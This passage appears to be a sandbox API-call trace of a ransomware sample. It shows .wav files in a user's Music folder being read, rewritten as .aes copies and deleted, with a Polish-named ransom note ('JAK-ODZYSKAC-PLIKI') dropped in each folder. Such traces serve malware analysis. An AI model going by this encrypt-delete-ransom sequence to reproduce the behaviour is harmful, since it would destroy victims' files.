lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\om RIMvMjXnxZplIa-.wav", lpFilePart=0x0) returned 0x57 [0092.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0092.227] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\om RIMvMjXnxZplIa-.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\om rimvmjxnxzplia-.wav"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60cee2b0, ftCreationTime.dwHighDateTime=0x1d2fbd6, ftLastAccessTime.dwLowDateTime=0xd38b0cc0, ftLastAccessTime.dwHighDateTime=0x1d3044b, ftLastWriteTime.dwLowDateTime=0xd38b0cc0, ftLastWriteTime.dwHighDateTime=0x1d3044b, nFileSizeHigh=0x0, nFileSizeLow=0x134c9)) returned 1 [0092.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0092.227] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\om RIMvMjXnxZplIa-.wav", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\om RIMvMjXnxZplIa-.wav", lpFilePart=0x0) returned 0x57 [0092.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0092.227] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\om RIMvMjXnxZplIa-.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\om rimvmjxnxzplia-.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x358 [0092.227] GetFileType (hFile=0x358) returned 0x1 [0092.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0092.228] GetFileType (hFile=0x358) returned 0x1 [0092.228] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\om RIMvMjXnxZplIa-.wav.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\om RIMvMjXnxZplIa-.wav.aes", lpFilePart=0x0) returned 0x5b [0092.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0092.228] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\om RIMvMjXnxZplIa-.wav.aes" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\om rimvmjxnxzplia-.wav.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x468 [0092.228] GetFileType (hFile=0x468) returned 0x1 [0092.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0092.228] GetFileType (hFile=0x468) returned 0x1 [0092.228] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0092.235] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0092.235] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0092.242] LocalFree (hMem=0x6ff3178) returned 0x0 [0092.242] GetAdaptersAddresses () returned 0x6f [0092.247] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0092.247] GetAdaptersAddresses () returned 0x0 [0092.252] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0092.258] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0092.258] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0092.316] LocalFree (hMem=0x1c8ab8) returned 0x0 [0092.316] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0092.322] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0092.322] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0092.328] LocalFree (hMem=0x1c8ab8) returned 0x0 [0092.329] LocalFree (hMem=0x7042020) returned 0x0 [0092.329] GetBestInterfaceEx (in: pDestAddr=0x284e850*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0092.402] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\om RIMvMjXnxZplIa-.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\om rimvmjxnxzplia-.wav")) returned 1 [0092.402] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x5b [0092.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0092.402] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e59020, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf0e59020, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf0e59020, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0092.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0092.403] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0092.426] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\bdvGDQlhD8Y.wav", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\bdvGDQlhD8Y.wav", lpFilePart=0x0) returned 0x44 [0092.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0092.426] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\bdvGDQlhD8Y.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\bdvgdqlhd8y.wav"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4568c730, ftCreationTime.dwHighDateTime=0x1d2f798, ftLastAccessTime.dwLowDateTime=0x63453300, ftLastAccessTime.dwHighDateTime=0x1d301ee, ftLastWriteTime.dwLowDateTime=0x63453300, ftLastWriteTime.dwHighDateTime=0x1d301ee, nFileSizeHigh=0x0, nFileSizeLow=0x163df)) returned 1 [0092.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0092.426] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\bdvGDQlhD8Y.wav", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\bdvGDQlhD8Y.wav", lpFilePart=0x0) returned 0x44 [0092.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0092.426] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\bdvGDQlhD8Y.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\bdvgdqlhd8y.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x358 [0092.426] GetFileType (hFile=0x358) returned 0x1 [0092.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0092.426] GetFileType (hFile=0x358) returned 0x1 [0092.426] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\bdvGDQlhD8Y.wav.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\bdvGDQlhD8Y.wav.aes", lpFilePart=0x0) returned 0x48 [0092.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0092.426] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\bdvGDQlhD8Y.wav.aes" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\bdvgdqlhd8y.wav.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x468 [0092.427] GetFileType (hFile=0x468) returned 0x1 [0092.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0092.427] GetFileType (hFile=0x468) returned 0x1 [0092.427] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0092.485] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0092.485] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0092.493] LocalFree (hMem=0x6ff3178) returned 0x0 [0092.493] GetAdaptersAddresses () returned 0x6f [0092.498] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0092.498] GetAdaptersAddresses () returned 0x0 [0092.504] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0092.510] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0092.510] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0092.517] LocalFree (hMem=0x1c8ab8) returned 0x0 [0092.517] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0092.554] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0092.554] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0092.560] LocalFree (hMem=0x1c8ab8) returned 0x0 [0092.560] LocalFree (hMem=0x7042020) returned 0x0 [0092.560] GetBestInterfaceEx (in: pDestAddr=0x28b0ab8*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0092.667] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\bdvGDQlhD8Y.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\bdvgdqlhd8y.wav")) returned 1 [0092.668] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4f [0092.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0092.668] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0092.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0092.668] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x358) returned 0x0 [0092.668] RegQueryValueExW (in: hKey=0x358, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0092.668] RegQueryValueExW (in: hKey=0x358, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x2819b24, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0092.668] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4f [0092.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0092.668] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x468 [0092.668] GetFileType (hFile=0x468) returned 0x1 [0092.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0092.669] GetFileType (hFile=0x468) returned 0x1 [0092.669] WriteFile (in: hFile=0x468, lpBuffer=0x2822b44*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x2822b44*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0092.669] CloseHandle (hObject=0x468) returned 1 [0092.670] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0092.723] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\ldkH5kxqMk43.wav", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\ldkH5kxqMk43.wav", lpFilePart=0x0) returned 0x45 [0092.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0092.723] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\ldkH5kxqMk43.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\ldkh5kxqmk43.wav"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e089830, ftCreationTime.dwHighDateTime=0x1d2fde9, ftLastAccessTime.dwLowDateTime=0x73bbb250, ftLastAccessTime.dwHighDateTime=0x1d2fe82, ftLastWriteTime.dwLowDateTime=0x73bbb250, ftLastWriteTime.dwHighDateTime=0x1d2fe82, nFileSizeHigh=0x0, nFileSizeLow=0x16bcd)) returned 1 [0092.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0092.723] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\ldkH5kxqMk43.wav", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\ldkH5kxqMk43.wav", lpFilePart=0x0) returned 0x45 [0092.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0092.723] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\ldkH5kxqMk43.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\ldkh5kxqmk43.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x468 [0092.723] GetFileType (hFile=0x468) returned 0x1 [0092.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0092.724] GetFileType (hFile=0x468) returned 0x1 [0092.724] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\ldkH5kxqMk43.wav.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\ldkH5kxqMk43.wav.aes", lpFilePart=0x0) returned 0x49 [0092.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0092.724] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\ldkH5kxqMk43.wav.aes" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\ldkh5kxqmk43.wav.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0092.724] GetFileType (hFile=0x8e4) returned 0x1 [0092.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0092.724] GetFileType (hFile=0x8e4) returned 0x1 [0092.724] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0092.732] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0092.732] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0092.739] LocalFree (hMem=0x6ff3178) returned 0x0 [0092.739] GetAdaptersAddresses () returned 0x6f [0092.743] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0092.744] GetAdaptersAddresses () returned 0x0 [0092.748] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0092.754] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0092.754] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0092.813] LocalFree (hMem=0x1c8ab8) returned 0x0 [0092.814] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0092.820] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0092.820] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0092.826] LocalFree (hMem=0x1c8ab8) returned 0x0 [0092.826] LocalFree (hMem=0x7042020) returned 0x0 [0092.826] GetBestInterfaceEx (in: pDestAddr=0x2849b84*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0092.901] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\ldkH5kxqMk43.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\ldkh5kxqmk43.wav")) returned 1 [0092.902] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4f [0092.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0092.902] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf16f9fe0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf16f9fe0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf16f9fe0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0092.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0092.902] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0092.927] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\BPwDqBd367v5jCWf.wav", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\BPwDqBd367v5jCWf.wav", lpFilePart=0x0) returned 0x40 [0092.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0092.927] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\BPwDqBd367v5jCWf.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\bpwdqbd367v5jcwf.wav"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa87aa8f0, ftCreationTime.dwHighDateTime=0x1d2fbe1, ftLastAccessTime.dwLowDateTime=0xff1332d0, ftLastAccessTime.dwHighDateTime=0x1d30358, ftLastWriteTime.dwLowDateTime=0xff1332d0, ftLastWriteTime.dwHighDateTime=0x1d30358, nFileSizeHigh=0x0, nFileSizeLow=0x3a48)) returned 1 [0092.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0092.927] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\BPwDqBd367v5jCWf.wav", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\BPwDqBd367v5jCWf.wav", lpFilePart=0x0) returned 0x40 [0092.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0092.927] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\BPwDqBd367v5jCWf.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\bpwdqbd367v5jcwf.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x468 [0092.927] GetFileType (hFile=0x468) returned 0x1 [0092.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0092.927] GetFileType (hFile=0x468) returned 0x1 [0092.927] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\BPwDqBd367v5jCWf.wav.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\BPwDqBd367v5jCWf.wav.aes", lpFilePart=0x0) returned 0x44 [0092.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0092.927] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\BPwDqBd367v5jCWf.wav.aes" (normalized: "c:\\users\\kft6utqw\\music\\e1mt 